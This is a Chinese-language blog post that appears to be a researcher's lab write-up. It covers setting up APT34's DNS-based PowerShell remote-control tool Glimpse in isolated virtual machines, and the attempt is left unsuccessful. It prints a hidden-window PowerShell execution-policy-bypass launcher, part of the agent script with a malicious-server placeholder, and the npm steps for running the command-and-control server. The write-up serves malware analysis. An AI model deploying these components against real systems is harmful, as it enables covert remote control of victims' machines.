0%

APT34 Glimpse 工具初探

0x00 背景

这阵子接到一个任务,需要我对powershell无文件攻击进行分析。在找了一圈资料之后,最后决定对APT34(带有伊朗背景)的远程powershell工具Glimpse进行分析,虽然最后的结果并不完美,暂且记录一下。

REF

APT34攻击样本分析-绿盟

APT34工具Github

0x01 Glimpse概述

该工具利用DNS协议进行通信,可以在agent端和server端传输指令信息,是一款远程控制工具。主要包括三个部分:agent、panel、server

  1. agent
    agent为受控端,包含1个vbs脚本和3个ps1脚本
    1
    2
    3
    4
    runner_.vbs 用于启动ps1脚本
    dns.psl 用于与服务端通信
    dns_main.psl 用于与服务端通信
    refineddns_main.ps1 用于与服务端通信
  2. panel
    panel是服务器端可视化工具,可以对通信信息进行监视
    1
    2
    newPanel-dbg.exe 可视化程序
    ToggleSwitch.dll 用来处理信息交互
  3. server
    server是服务器端,接收并解析agent端的DNS请求,向agent端下发指令
    1
    srvr.js 用来处理信息交互的js脚本

0x02 实验环境

首先创建了两台虚拟机,win7(192.168.48.131)和win10(192.168.48.129)。然后配置虚拟网络映射器,使两台虚拟机组网后位于同一局域网络,并且与主机不在同一局域网 (样本有风险,实验环境应该与外网和主机隔离),关闭防火墙,保证两台虚拟机之间能ping通。

win7 ping win10



win10 ping win7

0x03 实验分析

分为3个部分:agent、server、panel

  1. agent – win7 192.168.48.131

    修改runner_.vbs脚本内容,将AGENT PATH改为实际文件路径,这里我改为同文件目录的dns.ps1

    1
    2
    set sh=CreateObject("Wscript.Shell")
    sh.Run "powershell -exec bypass -file <AGENT PATH>", 0, False

    修改dns.ps1文件,修改server地址(这里我改为win10的ip 192.168.48.129)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    $MMC = "<MALICIOUS SERVER>"; #填写服务器地址
    $NNC = $env:PUBLIC + "\Libraries";
    if (-not (Test-Path $NNC)) { md $NNC; }
    $OOC = $NNC + "\quid";
    $PPC = $NNC + "\lock";
    if (!(Test-Path $PPC)){sc -Path $PPC -Value $pid;}
    else
    {
    $QQC = (NEW-TIMESPAN -Start ((Get-ChildItem $PPC).CreationTime) -End (Get-Date)).Minutes
    if ($QQC -gt 10)
    {
    stop-process -id (gc $PPC);
    ri -Path $PPC;
    }
    return;
    }

    双击运行runner_.vbs脚本,它会启动dns.ps1脚本,在C:\Users\Public目录下新建Libraries文件夹,其文件树结构如下,除了生成两个文件夹以外,还生成了一个quid文件(内容为uid,即此处的198320f4c4)


  2. server – win10 192.168.48.129
    安装nodejs
    创建一个项目文件夹(这里我的是APT34_RCE),将服务端文件srvr.js复制到当前路径,初始化nodejs项目

    1
    npm init

    在当前文件夹路径安装相关依赖包(npm国外源很慢,可以换cnpm用国内taobao源)

    1
    2
    npm install --save body-parser cookies child_process dnsd webix express ip fs path sqlite3 http portscanner child_process async ejs express-fileupload dateformat multer file-base64 flat-file-db moment busboy
    npm install --save -g forever

    cmd打开当前路径,开启server(下面的命令会让服务端持久运行)

    1
    forever start srvr.js

    它会在目录C:\ProgramData下创建文件夹Glimpse,用来保存与agent的通信信息



    服务端的理想情况是监听本机ip的53端口,但自己测试的时候,用netstat -ano | findstr 53命令查找53端口,其并没有在监听。网上找到的攻击成功的截图都来自原作者的telegram

  3. panel
    在图形化面板panel模块,也没有得到agent与server的通信信息

0x04 自闭

花了一天的时间去找问题,目前还没有解决…开始自闭…

怀疑是以下原因

  1. 两台虚拟机均没有连接外网,DNS解析maybe失败
  2. agent和server配置出错
  3. 该工具本身不完整